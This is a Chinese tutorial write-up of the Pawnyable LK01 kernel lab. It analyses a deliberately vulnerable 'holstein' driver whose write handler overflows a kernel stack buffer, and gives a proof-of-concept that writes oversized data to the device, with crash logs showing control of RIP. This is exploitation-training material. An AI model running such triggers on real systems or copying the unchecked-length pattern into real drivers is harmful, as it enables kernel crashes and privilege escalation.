首先回顾一下初始化的过程:/init
-> /sbin/init
->......->/etc/init.d/rcS
->/etc/init.d/S99pawnyable
# /etc/init.d/S99pawnyable
#!/bin/sh
##
## Setup
##
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost
#echo 2 > /proc/sys/kernel/kptr_restrict # 禁用KADR
#echo 1 > /proc/sys/kernel/dmesg_restrict # 禁用dmesg_restrict
##
## Install driver
##
insmod /root/vuln.ko # 加载内核模块
# 将名为的/dev/holstein模块与名为holstein的字符设备文件关联
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0
##
## User shell
##
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Holstein v1 (LK01) - Pawnyable ]"
#setsid cttyhack setuidgid 1337 sh # 以用户ID 1337 运行 shell,即普通用户
setsid cttyhack setuidgid 0 sh # 以用户ID 0 运行 shell,即root用户
##
## Cleanup
##
umount /proc
poweroff -d 0 -f
Holstein模块
src/vuln.c
是内核子模块Holstein的源码,下面来分析一下linux里内核子模块是怎么写的:
初始化和退出
编写内核模块时,总是先编写初始化和退出,这里指定了初始化函数和退出函数
108 module_init(module_initialize);
109 module_exit(module_cleanup);
先来看初始化函数:
/**
*
* int alloc_chrdev_region(dev_t *dev,unsigned int firstminor,unsigned int count,char *name);
* 功能:用于动态申请设备编号
* firstminor:通常为0
* dev:存放返回的设备号
*
*
* void cdev_init(struct cdev *, const struct file_operations *)
* 功能:初始化一个静态分配的cdev结构体变量
* 第一个参数:第一个参数表示一个字符设备,在函数中即将被初始化
* 第二个参数:file_operations结构体类型的指针,通过这个结构体中提供的函数完成对设备的操作
*
*
* THIS_MODULE:是一个宏,定义为:#define THIS_MODULE (&__this_module)
* 而__this_module是一个struct module变量,代表当前模块
*
*
* int cdev_add(struct cdev *, dev_t, unsigned)
* 功能:向Linux内核系统中添加一个新的cdev结构体变量所描述的字符设备,并且使这个设备立即可用
* 第一个参数:即将被添加入Linux内核系统的字符设备
* 第二个参数:设备的设备号
* 第三个参数:想注册设备的设备号的范围,用于给struct cdev中的字段count赋值
**/
8 MODULE_LICENSE("GPL");
9 MODULE_AUTHOR("ptr-yudai");
10 MODULE_DESCRIPTION("Holstein v1 - Vulnerable Kernel Driver for Pawnyable");
11
12 #define DEVICE_NAME "holstein"
13 #define BUFFER_SIZE 0x400
14
15 char *g_buf = NULL;
80 static dev_t dev_id;
81 static struct cdev c_dev;
82
83 static int __init module_initialize(void)
84 {
85 if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) { // 给字符设备 holstein 分配设备号dev_id
86 printk(KERN_WARNING "Failed to register device\n");
87 return -EBUSY;
88 }
89
90 cdev_init(&c_dev, &module_fops); // 初始化字符设备c_dev
91 c_dev.owner = THIS_MODULE;
92
93 if (cdev_add(&c_dev, dev_id, 1)) { // 向Linux内核系统中添加字符设备
94 printk(KERN_WARNING "Failed to add cdev\n");
95 unregister_chrdev_region(dev_id, 1);
96 return -EBUSY;
97 }
98
99 return 0;
100 }
该字符设备定义了4个操作函数:open、read、write和release
71 static struct file_operations module_fops =
72 {
73 .owner = THIS_MODULE,
74 .read = module_read,
75 .write = module_write,
76 .open = module_open,
77 .release = module_close,
78 };
而模块的退出只是删除了字符设备:
102 static void __exit module_cleanup(void)
103 {
104 cdev_del(&c_dev);
105 unregister_chrdev_region(dev_id, 1);
106 }
open
open这个模块的时候,分配了0x400字节的空间给全局变量g_buf
13 #define BUFFER_SIZE 0x400
14
15 char *g_buf = NULL;
17 static int module_open(struct inode *inode, struct file *file)
18 {
// 将字符串打印到内核的日志缓冲区
// KERN_INFO是日志级别
// 可以使用命令dmesg来查看输出
19 printk(KERN_INFO "module_open called\n");
20
// 从内核空间中分配0x400大小的堆块给g_buf
21 g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
22 if (!g_buf) {
23 printk(KERN_INFO "kmalloc failed");
24 return -ENOMEM;
25 }
26
27 return 0;
28 }
close
释放g_buf
64 static int module_close(struct inode *inode, struct file *file)
65 {
66 printk(KERN_INFO "module_close called\n");
67 kfree(g_buf);
68 return 0;
69 }
read
将内核空间中 g_buf
的内容,最终拷贝到来自用户空间的read
函数的参数buf
30 static ssize_t module_read(struct file *file,
31 char __user *buf, size_t count,
32 loff_t *f_pos)
33 {
34 char kbuf[BUFFER_SIZE] = { 0 };
35
36 printk(KERN_INFO "module_read called\n");
37
38 memcpy(kbuf, g_buf, BUFFER_SIZE); // 将g_buf的内容拷贝到局部变量kbuf
39 if (_copy_to_user(buf, kbuf, count)) { // 将kbuf的内容拷贝到用户空间的buf
40 printk(KERN_INFO "copy_to_user failed\n");
41 return -EINVAL;
42 }
43
44 return count;
45 }
write
将用户空间的buf的内容,最终拷贝到内核空间的全局变量g_buf
47 static ssize_t module_write(struct file *file,
48 const char __user *buf, size_t count,
49 loff_t *f_pos)
50 {
51 char kbuf[BUFFER_SIZE] = { 0 };
52
53 printk(KERN_INFO "module_write called\n");
54
55 if (_copy_from_user(kbuf, buf, count)) { // 将用户空间的buf的内容拷贝到局部变量kbuf
56 printk(KERN_INFO "copy_from_user failed\n");
57 return -EINVAL;
58 }
59 memcpy(g_buf, kbuf, BUFFER_SIZE); // 将kbuf的内容拷贝到全局变量g_buf
60
61 return count;
62 }
栈溢出漏洞
g_buf
的长度是0x400,而在上面的module_write()
函数中,_copy_from_user
的参数count
是攻击者可控的,所以可能发生栈溢出(越界写)。进而可以覆写内核栈中的返回地址,并执行ROP链。
触发漏洞
在利用漏洞之前,先来尝试触发它,也就是写个POC。
// exploit.c(偷懒。。没改名字)
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
void fatal(const char *msg){
perror(msg);
exit(1);
}
int main() {
int fd = open("/dev/holstein", O_RDWR);
if(fd == -1){
fatal("open(\"/dev/holstein\")");
}
char buf[0x800] = {};
memset(buf, 'A', 0x800);
write(fd, buf, 0x800);
close(fd);
return 0;
}
然后执行transfer.sh,将poc传送进去,然后在shell里执行:
lzx@ubuntu:~/LKPWN/pawnyable/LK01/qemu$ ./transfer.sh
3959 blocks
qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
Starting syslogd: OK
Starting klogd: OK
Running sysctl: OK
Saving random seed: OK
Starting network: udhcpc: started, v1.34.0
udhcpc: broadcasting discover
udhcpc: broadcasting select for 10.0.2.15, server 10.0.2.2
udhcpc: lease of 10.0.2.15 obtained from 10.0.2.2, lease time 86400
deleting routers
adding dns 10.0.2.3
OK
Starting dhcpcd...
dhcpcd-9.4.0 starting
DUID 00:01:00:01:2b:9f:a7:9c:52:54:00:12:34:56
eth0: IAID 00:12:34:56
eth0: soliciting an IPv6 router
eth0: Router Advertisement from fe80::2
eth0: adding address fec0::d946:4e76:702f:7f8e/64
eth0: adding route to fec0::/64
eth0: adding default route via fe80::2
eth0: soliciting a DHCP lease
eth0: offered 10.0.2.15 from 10.0.2.2
eth0: leased 10.0.2.15 for 86400 seconds
eth0: adding route to 10.0.2.0/24
eth0: adding default route via 10.0.2.2
forked to background, child pid 105
Boot took 6.75 seconds
[ Holstein v1 (LK01) - Pawnyable ]
/ # ./exploit
BUG: stack guard page was hit at (____ptrval____) (stack is (____ptrval____)..(____ptrval____))
kernel stack overflow (page fault): 0000 [#1] PREEMPT SMP NOPTI
CPU: 0 PID: 162 Comm: exploit Tainted: G O 5.10.7 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
RIP: 0010:memset_orig+0x33/0xb0
Code: 01 01 01 01 01 01 01 01 48 0f af c1 41 89 f9 41 83 e1 07 75 70 48 89 d1 48 c1 e9 06 74 39 66 0f 1f 84 00 00 00 00 00 48 ff c9 <48> 89 07 48 89 47 08 48 89 47 10 48 89 47 18 48 89 47 20 48 89 47
RSP: 0018:ffffc9000044ba58 EFLAGS: 00000207
RAX: 0000000000000000 RBX: 0000000000000558 RCX: 0000000000000009
RDX: 00000000000002a8 RSI: 0000000000000000 RDI: ffffc9000044c000
RBP: ffffc9000044ba78 R08: 4141414141414141 R09: 0000000000000000
R10: ffffc9000044c000 R11: 4141414141414141 R12: ffffc9000044baa8
R13: 00000000000002a8 R14: 00007ffd3f100c60 R15: ffffc9000044bef8
FS: 00000000006021d8(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffc9000044c000 CR3: 00000000032b6000 CR4: 00000000000006f0
Call Trace:
? _copy_from_user+0x70/0x80
module_write+0x75/0xef [vuln]
Modules linked in: vuln(O)
---[ end trace b57c9adbb0ec8f53 ]---
RIP: 0010:memset_orig+0x33/0xb0
Code: 01 01 01 01 01 01 01 01 48 0f af c1 41 89 f9 41 83 e1 07 75 70 48 89 d1 48 c1 e9 06 74 39 66 0f 1f 84 00 00 00 00 00 48 ff c9 <48> 89 07 48 89 47 08 48 89 47 10 48 89 47 18 48 89 47 20 48 89 47
RSP: 0018:ffffc9000044ba58 EFLAGS: 00000207
RAX: 0000000000000000 RBX: 0000000000000558 RCX: 0000000000000009
RDX: 00000000000002a8 RSI: 0000000000000000 RDI: ffffc9000044c000
RBP: ffffc9000044ba78 R08: 4141414141414141 R09: 0000000000000000
R10: ffffc9000044c000 R11: 4141414141414141 R12: ffffc9000044baa8
R13: 00000000000002a8 R14: 00007ffd3f100c60 R15: ffffc9000044bef8
FS: 00000000006021d8(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffc9000044c000 CR3: 00000000032b6000 CR4: 00000000000006f0
Kernel panic - not syncing: Fatal exception
Kernel Offset: disabled
确实崩溃了,而RIP的值如下,不是想要的0x4141414141414141。(如果是0x4141414141414141,那么就说明可以控制栈里的返回地址)
RIP: 0010:memset_orig+0x33/0xb0
看看崩溃的原因,栈溢出导致stack guard page(栈保护页)被写了,然后系统检测到了就崩溃了。
BUG: stack guard page was hit at (____ptrval____) (stack is (____ptrval____)..(____ptrval____))
kernel stack overflow (page fault): 0000 [#1] PREEMPT SMP NOPTI
所以是写太多了,修改poc,把数据的长度写成0x420试试。
char buf[0x420] = {};
memset(buf, 'A', 0x420);
write(fd, buf, 0x420);
再次运行,果然RIP可控了:
/ # ./exploit
general protection fault: 0000 [#1] PREEMPT SMP NOPTI
CPU: 0 PID: 162 Comm: exploit Tainted: G O 5.10.7 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
RIP: 0010:0x4141414141414141 <--- RIP可控
Code: Unable to access opcode bytes at RIP 0x4141414141414117.
RSP: 0018:ffffc9000044beb8 EFLAGS: 00000202
RAX: 0000000000000420 RBX: ffff88800318ad00 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc9000044bea8 RDI: ffff888003297800
RBP: 4141414141414141 R08: 4141414141414141 R09: 4141414141414141
R10: 4141414141414141 R11: 4141414141414141 R12: 0000000000000420
R13: 0000000000000000 R14: 00007fff598abd30 R15: ffffc9000044bef8
FS: 00000000006021d8(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000000601fd8 CR3: 00000000032e2000 CR4: 00000000000006f0
Call Trace:
? ksys_write+0x53/0xd0
? __x64_sys_write+0x15/0x20
? do_syscall_64+0x38/0x50
? entry_SYSCALL_64_after_hwframe+0x44/0xa9
Modules linked in: vuln(O)
---[ end trace da72dd73f8a32261 ]---
RIP: 0010:0x4141414141414141
Code: Unable to access opcode bytes at RIP 0x4141414141414117.
RSP: 0018:ffffc9000044beb8 EFLAGS: 00000202
RAX: 0000000000000420 RBX: ffff88800318ad00 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc9000044bea8 RDI: ffff888003297800
RBP: 4141414141414141 R08: 4141414141414141 R09: 4141414141414141
R10: 4141414141414141 R11: 4141414141414141 R12: 0000000000000420
R13: 0000000000000000 R14: 00007fff598abd30 R15: ffffc9000044bef8
FS: 00000000006021d8(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000000601fd8 CR3: 00000000032e2000 CR4: 00000000000006f0
Kernel panic - not syncing: Fatal exception
Kernel Offset: disabled
参考文献
- https://pawnyable.cafe/linux-kernel/LK01/welcome-to-holstein.html
- https://deepinout.com/linux-kernel-api/device-driver-and-device-management/linux-kernel-api-cdev_init.html